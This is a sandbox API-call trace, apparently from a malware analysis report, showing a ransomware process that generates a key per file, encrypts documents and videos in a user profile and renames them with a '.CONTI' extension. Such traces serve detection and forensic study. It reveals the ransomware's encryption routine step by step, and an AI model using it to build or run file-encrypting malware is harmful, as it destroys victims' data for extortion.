	[0146.210] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.210] WriteFile (in: hFile=0x35c, lpBuffer=0x6b51958*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6b51958*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0146.210] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.210] CloseHandle (hObject=0x35c) returned 1
	[0146.210] GetProcessHeap () returned 0x1720000
	[0146.211] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0146.211] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Documents\\DFNJJu0NfFWw3sZy.docx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\DFNJJu0NfFWw3sZy.docx") returned="C:\\Users\\FD1HVy\\Documents\\DFNJJu0NfFWw3sZy.docx"
	[0146.211] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\DFNJJu0NfFWw3sZy.docx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\DFNJJu0NfFWw3sZy.docx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\DFNJJu0NfFWw3sZy.docx.CONTI"
	[0146.211] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\DFNJJu0NfFWw3sZy.docx" (normalized: "c:\\users\\fd1hvy\\documents\\dfnjju0nffww3szy.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\DFNJJu0NfFWw3sZy.docx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\dfnjju0nffww3szy.docx.conti")) returned 1
	[0146.212] GetProcessHeap () returned 0x1720000
	[0146.212] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0146.212] CryptDestroyKey (hKey=0x6b7e738) returned 1
	[0146.212] GetProcessHeap () returned 0x1720000
	[0146.212] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cba20 | out: hHeap=0x1720000) returned 1
	[0146.212] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0146.212] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65ce9d0 | out: phKey=0x65ce9d0*=0x17dea50) returned 1
	[0146.212] CryptExportKey (in: hKey=0x17dea50, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65ce9d4, pdwDataLen=0x45bfa3c | out: pbData=0x65ce9d4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0146.213] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\1QJeVeifx-RN8Not r.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\1qjeveifx-rn8not r.mp4")) returned 0x20
	[0146.214] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\1QJeVeifx-RN8Not r.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\1qjeveifx-rn8not r.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0146.214] GetLastError () returned 0x0
	[0146.214] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=17346) returned 1
	[0146.214] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x43c2
	[0146.214] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.215] SetEndOfFile (hFile=0x35c) returned 1
	[0146.215] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.215] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.215] WriteFile (in: hFile=0x35c, lpBuffer=0x65ce9d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65ce9d4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0146.217] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.217] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x43c2, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x43c2, lpOverlapped=0x0) returned 1
	[0146.218] CryptEncrypt (in: hKey=0x17dea50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x43c2, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x43d0) returned 1
	[0146.218] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.218] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x43d0, lpOverlapped=0x0) returned 1
	[0146.218] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.218] WriteFile (in: hFile=0x35c, lpBuffer=0x65ce9c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65ce9c8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0146.218] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.218] CloseHandle (hObject=0x35c) returned 1
	[0146.218] GetProcessHeap () returned 0x1720000
	[0146.218] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0146.218] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Videos\\1QJeVeifx-RN8Not r.mp4" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\1QJeVeifx-RN8Not r.mp4") returned="C:\\Users\\FD1HVy\\Videos\\1QJeVeifx-RN8Not r.mp4"
	[0146.218] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\1QJeVeifx-RN8Not r.mp4", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\1QJeVeifx-RN8Not r.mp4.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\1QJeVeifx-RN8Not r.mp4.CONTI"
	[0146.219] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\1QJeVeifx-RN8Not r.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\1qjeveifx-rn8not r.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\1QJeVeifx-RN8Not r.mp4.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\1qjeveifx-rn8not r.mp4.conti")) returned 1
	[0146.219] GetProcessHeap () returned 0x1720000
	[0146.219] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0146.219] CryptDestroyKey (hKey=0x17dea50) returned 1
	[0146.219] GetProcessHeap () returned 0x1720000
	[0146.219] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbbc0 | out: hHeap=0x1720000) returned 1
	[0146.219] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0146.219] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d0e50 | out: phKey=0x65d0e50*=0x17deb90) returned 1
	[0146.219] CryptExportKey (in: hKey=0x17deb90, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d0e54, pdwDataLen=0x45bfa3c | out: pbData=0x65d0e54*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0146.220] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\a3_xktg2KEDwehp2.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\a3_xktg2kedwehp2.mkv")) returned 0x20
	[0146.220] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\a3_xktg2KEDwehp2.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\a3_xktg2kedwehp2.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0146.221] GetLastError () returned 0x0
	[0146.221] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=8730) returned 1
	[0146.221] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x221a
	[0146.221] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.221] SetEndOfFile (hFile=0x35c) returned 1
	[0146.221] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.221] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.221] WriteFile (in: hFile=0x35c, lpBuffer=0x65d0e54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d0e54*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0146.223] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.223] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x221a, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x221a, lpOverlapped=0x0) returned 1
	[0146.232] CryptEncrypt (in: hKey=0x17deb90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x221a, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2220) returned 1
	[0146.232] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.232] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2220, lpOverlapped=0x0) returned 1
	[0146.232] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.233] WriteFile (in: hFile=0x35c, lpBuffer=0x65d0e48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d0e48*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0146.233] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.233] CloseHandle (hObject=0x35c) returned 1
	[0146.233] GetProcessHeap () returned 0x1720000
	[0146.233] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0146.233] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Videos\\a3_xktg2KEDwehp2.mkv" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\a3_xktg2KEDwehp2.mkv") returned="C:\\Users\\FD1HVy\\Videos\\a3_xktg2KEDwehp2.mkv"
	[0146.233] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\a3_xktg2KEDwehp2.mkv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\a3_xktg2KEDwehp2.mkv.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\a3_xktg2KEDwehp2.mkv.CONTI"
	[0146.233] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\a3_xktg2KEDwehp2.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\a3_xktg2kedwehp2.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\a3_xktg2KEDwehp2.mkv.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\a3_xktg2kedwehp2.mkv.conti")) returned 1
	[0146.234] GetProcessHeap () returned 0x1720000
	[0146.234] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0146.234] CryptDestroyKey (hKey=0x17deb90) returned 1
	[0146.234] GetProcessHeap () returned 0x1720000
	[0146.234] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741400 | out: hHeap=0x1720000) returned 1
	[0146.234] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0146.234] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d2768 | out: phKey=0x65d2768*=0x17dead0) returned 1
	[0146.234] CryptExportKey (in: hKey=0x17dead0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d276c, pdwDataLen=0x45bfa3c | out: pbData=0x65d276c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0146.235] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\videos\\desktop.ini")) returned 0x26
	[0146.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0146.235] GetLastError () returned 0x0
	[0146.235] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=504) returned 1
	[0146.235] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1f8
	[0146.235] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.235] SetEndOfFile (hFile=0x35c) returned 1
	[0146.264] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.264] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.264] WriteFile (in: hFile=0x35c, lpBuffer=0x65d276c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d276c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0146.280] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.280] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x1f8, lpOverlapped=0x0) returned 1
	[0146.280] CryptEncrypt (in: hKey=0x17dead0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1f8, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x200) returned 1
	[0146.280] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.280] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x200, lpOverlapped=0x0) returned 1
	[0146.280] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.280] WriteFile (in: hFile=0x35c, lpBuffer=0x65d2760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d2760*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0146.280] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.280] CloseHandle (hObject=0x35c) returned 1
	[0146.280] GetProcessHeap () returned 0x1720000
	[0146.280] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0146.281] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Videos\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\desktop.ini") returned="C:\\Users\\FD1HVy\\Videos\\desktop.ini"
	[0146.281] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\desktop.ini.CONTI"
	[0146.281] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\videos\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\desktop.ini.conti")) returned 1
	[0146.282] GetProcessHeap () returned 0x1720000
	[0146.282] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0146.282] CryptDestroyKey (hKey=0x17dead0) returned 1
	[0146.282] GetProcessHeap () returned 0x1720000
	[0146.282] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d3c8 | out: hHeap=0x1720000) returned 1
	[0146.282] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0146.282] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d29b0 | out: phKey=0x65d29b0*=0x17dea50) returned 1
	[0146.282] CryptExportKey (in: hKey=0x17dea50, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d29b4, pdwDataLen=0x45bfa3c | out: pbData=0x65d29b4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0146.283] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\5QBpKcxsjhq.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\5qbpkcxsjhq.flv")) returned 0x20
	[0146.342] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\5QBpKcxsjhq.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\5qbpkcxsjhq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0146.343] GetLastError () returned 0x0
	[0146.343] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=37685) returned 1
	[0146.343] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9335
	[0146.343] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.343] SetEndOfFile (hFile=0x35c) returned 1
	[0146.344] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.344] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.344] WriteFile (in: hFile=0x35c, lpBuffer=0x65d29b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d29b4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0146.347] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.347] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x9335, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x9335, lpOverlapped=0x0) returned 1
	[0146.349] CryptEncrypt (in: hKey=0x17dea50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x9335, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x9340) returned 1
	[0146.349] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.349] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x9340, lpOverlapped=0x0) returned 1
	[0146.350] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.350] WriteFile (in: hFile=0x35c, lpBuffer=0x65d29a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d29a8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0146.350] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.350] CloseHandle (hObject=0x35c) returned 1
	[0146.350] GetProcessHeap () returned 0x1720000
	[0146.350] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0146.351] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\5QBpKcxsjhq.flv" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\5QBpKcxsjhq.flv") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\5QBpKcxsjhq.flv"
	[0146.351] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\5QBpKcxsjhq.flv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\5QBpKcxsjhq.flv.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\5QBpKcxsjhq.flv.CONTI"
	[0146.351] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\5QBpKcxsjhq.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\5qbpkcxsjhq.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\5QBpKcxsjhq.flv.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\5qbpkcxsjhq.flv.conti")) returned 1
	[0146.352] GetProcessHeap () returned 0x1720000
	[0146.352] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0146.352] CryptDestroyKey (hKey=0x17dea50) returned 1
	[0146.352] GetProcessHeap () returned 0x1720000
	[0146.352] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a7c0 | out: hHeap=0x1720000) returned 1
	[0146.352] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0146.352] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65cec18 | out: phKey=0x65cec18*=0x17de890) returned 1
	[0146.352] CryptExportKey (in: hKey=0x17de890, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cec1c, pdwDataLen=0x45bfa3c | out: pbData=0x65cec1c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0146.353] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\9RLCeoKlgB_XuhidAh6.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\9rlceoklgb_xuhidah6.flv")) returned 0x20
